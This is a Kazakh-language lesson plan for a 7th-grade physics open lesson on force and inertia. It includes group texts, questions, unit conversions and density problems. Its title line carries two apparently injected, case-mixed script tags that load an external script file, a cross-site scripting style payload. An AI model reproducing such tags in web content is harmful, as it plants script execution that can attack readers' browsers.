7-сыныпта физикадан ашық сабақ<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Бөлімі:

Тығыздық

Педагогтің аты-жөні:

Серкенова Гулдана Болатхановна

Күні:

23.11.2022

Сыныбы:7

Қатысушылар саны:   8                Қатыспағандар саны:

Сабақтың тақырыбы:

Күш

Оқу бағдарламасына сәйкес оқу мақсаты

7.2.2.2 – күнделікті өмірден күштердің әрекет етуіне мысалдар келтіру

Сабақтың мақсаты:

Барлық оқушылар істей алады:  инерция құбылысын және  күш ұғымын түсінеді;                                                                         Көптеген оқуышылар істей алады: Инерция құбылысын және  күш ұғымына мысалдар келтіре алады, күштің белгіленуін, өлшем бірлігін біледі.                                                        Кейбір оқушылар істей алады: Күш әсерлерінің әр түрлі факторларға тәуелділігін талдай алады.(бағытына, қандай нүктеге түсірілетіндігіне, жылдамдықтың өзгеруіне)

Бағалау критерийлері

• Инерция құбылысын мысалдар арқылы аша алады;
• Инерцияның анықтамасын біледі;
• Күштің анықтамасын, белгіленуін, өлшем бірлігін біледі;
• Күштің әсер ету бағытын ажырата алады;

Практикада күштің әрекет етуіне мысалдар келтіре алады.

Құндылықтарға баулу

Жалпыға бірдей еңбек қоғамында еңбек және шығармашылық ынтымақтастықты өмір бойы білім алуға бағыттау.

Сабақ кезеңі/

Уақыты

Педагогтің іс-әрекеті

Оқушының іс-әрекеті

Бағалау

Ресурстар

Сабақтың басы

5 мин.

5 мин

«Миға шабуыл» әдісі.

Сабақтың ортасы

10 мин.

«Жариялау» әдісі

Ұйымдастыру кезеңі

Оқушылармен амандасу, түгендеу, сабаққа дайындығын бақылау.

Ынтымақтастықты қалыптастыру, оқушылардың сенімділігін арттыру.

- психологиялық дайындық (Күн шуағы)

Топқа бөлу:

І топ: Қозғалыс

ІІ топ : Траектория

«Өз сынарың табу» әдісі.Суреттер  беріледі,сол арқылы көліктің бір түрін құрастыру.

Үй тапсырмасын тексеру

«Миға шабуыл» әдісі.

Оқушылардан сұрақтарға қимылмен жауап берулерін сұрау:

-          Бәріміз автобус ішінде отырмыз. Автобус орнынан жұлқына тартылып қалды, тепе-теңдік бұзылды. Сонда қалай қимылдаймыз? Қай жаққа қисайдық? Артқа

-          Ұзын жолмен автобус зулап келеді. Ол бірқалыпты қозғалады. Кенет тежелді. Қалай қимылдаймыз? Қай жаққа қисайдық? Алға

-          Бірқалыпты келе жатқан автобус оңға қарай тез бұрылды, қалай қимылдаймыз? Солға

-          Бірқалыпты келе жатқан автобус солға қарай тез бұрылды, қай жаққа құлауымыз мүмкін? Оңға

Білу және түсіну

Берілген мәтіндерді балалар оқып алады.

 «Жариялау» әдісі арқылы топтар өз мәтіндерін қорғайды

1-топ .Мәтін

Күш – дененің немесе оның бөліктерінің жылдамдығын өзгертетін себеп болып табылады.Ағылшынның ұлы физик- ғалымы Исаак  Ньютон күш ұғымына мынадай анықтама берді: «Түсірілген күш дененің тыныштық күйін немесе бірқалыпты қозғалысын өзгертуге жасаған әрекет болып табылады»

  «Білегі күшті бірді жығады,

білімі күшті мыңды жығады».

«Көптің күші – бірлікте».

 Күш – денелердің өзара әрекеттесуін сипаттайтын шама.

Әртүрлі денеге әртүрлі күш түсіреміз.Мысалға  “ Арқан тарту ойыны”

Демек, күштің сан мән көп те, аз да болуы мүмкін.

ІІ топ. Мәтін

Күш сандық мәнімен және бағытымен сипатталатын физикалық шама болып табылады.

Күшті Ғ әрпімен  белгілейміз.

SІ жүйесінде күш бірлігіне ньютон (Н) алынған. 1Н – тыныштық күйіндегі массасы 1 кг денеге 1 с ішінде 1 м/с жылдамдық беретін күш. Бұдан үлкен күш бірлігі – килоньютон (кН) да қолданылады. 1кН = 1000 Н.

«Жақсы тілек- жан жылуы» оқушылар бір-бірлеріне тілектер айтып, жақсы көңіл күймен сабақты бастайды.

Әрбір топ берілген сұрақ бойынша  өз позициясын жариялайды.

Топта оқушылар мәтінді оқып, шығып, толық өздері түсініп алады.

Дескриптор

-Физикалық шама ұғымын түсінеді.

-Физикалық шамаларды өлшеуге арналған  аспап түрлерімен танысады.

-Аспаптармен жұмыс жасай алады.

Жалпы балл-3

Кағаздан жасалған сурет

«Бес жұлдыз» әдісімен мадақтау.

Оқулық мәтін

Постер

Маркер

«Жапондық» бағалау әдісі.

Сабақтың соңы.

 5 мин

Жеке жұмыс. 

Практикалық тапсырма

«Ойлан, жұптас,

бөліс» әдісі

5 мин

5 мин

Рефлекция

Кері байланыс

Бағалау

Үй тапсырмасы

Топ оқушыларына сұрақтар жазылып таратылады. « Көрсет және әңгімеле» әдісі. Әр оқушы өз жауабын жазуға/салуға мүмкіндігі болатындай және оны тез арада сізге (сыныптастарына) көрсететіндей етіп, шағын маркер тақтасын қолданыңыз.

І топтың тапсырмасы:

1.Күш дегеніміз не?

2.Күш қандай шама?

3. Неліктен жүргізуші тежелген кезде автомобильдің артқы қызыл жарығын жағады. Түсіндіріңіз.

4. Күшті килоНьютонмен өрнекте:

12500Н,500Н,10Н,0,5Н

ІІ топтың тапсырмасы:

1.Күштің өлшем бірлігі?

2.Күш бірлігі кімнің құрметіне аталған?

3. Егер велосипедті тежеп және оны тез тоқтатса, велосипедшіге не болады?

4.Ньютонмен өрнекте:2,5МН,12кН,340мН.

Есептер шығару.Тақтамен жұмыс

1 – есеп: Көлемі 0,012 м3 ыдыс сумен толтырылған. Судың тығыздығы 1000 кг/м3. ыдыстағы судың массасы қандай?

2 – есеп: Ыдыста массасы 200 гр су бар. Судың тығыздығы 1000 кг/м3. Ыдыстың көлемін анықта.

3 – есеп: Массасы 2 кг, ал көлемі 100 см3 металдың тығыздығы қандай?

«Ауызша эксперимент.» әдісі.

«Қалайша қағазды тез  аламыз?»
Ұзын парақ қағаздың үстінде суы бар ыдыс тұр. Ыдысты орнынан жылжытпай қалайша қағазды алуға болады?
Жауабы: Қағаз парағының бір жақ шетінен ұстап, жылдам тартып қалу керек. Инерцияның әсерінен ыдыс пен оның ішіндегі су жылдамдық алып үлгермейді, яғни қозғалысқа түсіп үлгермейді.

Дескрипторы:

• Инерция әсерінен кейбір денелердің жылдамдық алып үлгермейтінін біледі.
• Күнделікті өмірден инерцияға байланысты мысалдарды түсінеді.

Кері байланыс « бутерброд» Кері байланыс әртүрлі тәсілдермен берілуі мүмкін. Кері байланыс «бутерброды» дегеніміз бұл: i) бірінші жағымды түсініктеме беріп, кейін сындарлы сын айтып, соңынан тағы да жағымды пікір білдіру; ii) Жағдаяттық мәлімдеме – Маған ұнады ......, себебі ..... Енді/келесі жолы .....

Оқушылар кестені толтырады.

Дескриптор
 

Топ оқушылары ақылдаса отырып, жауап береді

Әр топтың жауабын қалған топтың оқушылары «Бас бармақ» әдісімен бағалап отырады

Жалпы балл-3

Жалпы тапсырмалар бойынша 10 балл

Дк экран

Дәптер,маркелер

«Мадақтау» әдісі арқылы бағалау.

Стикерлер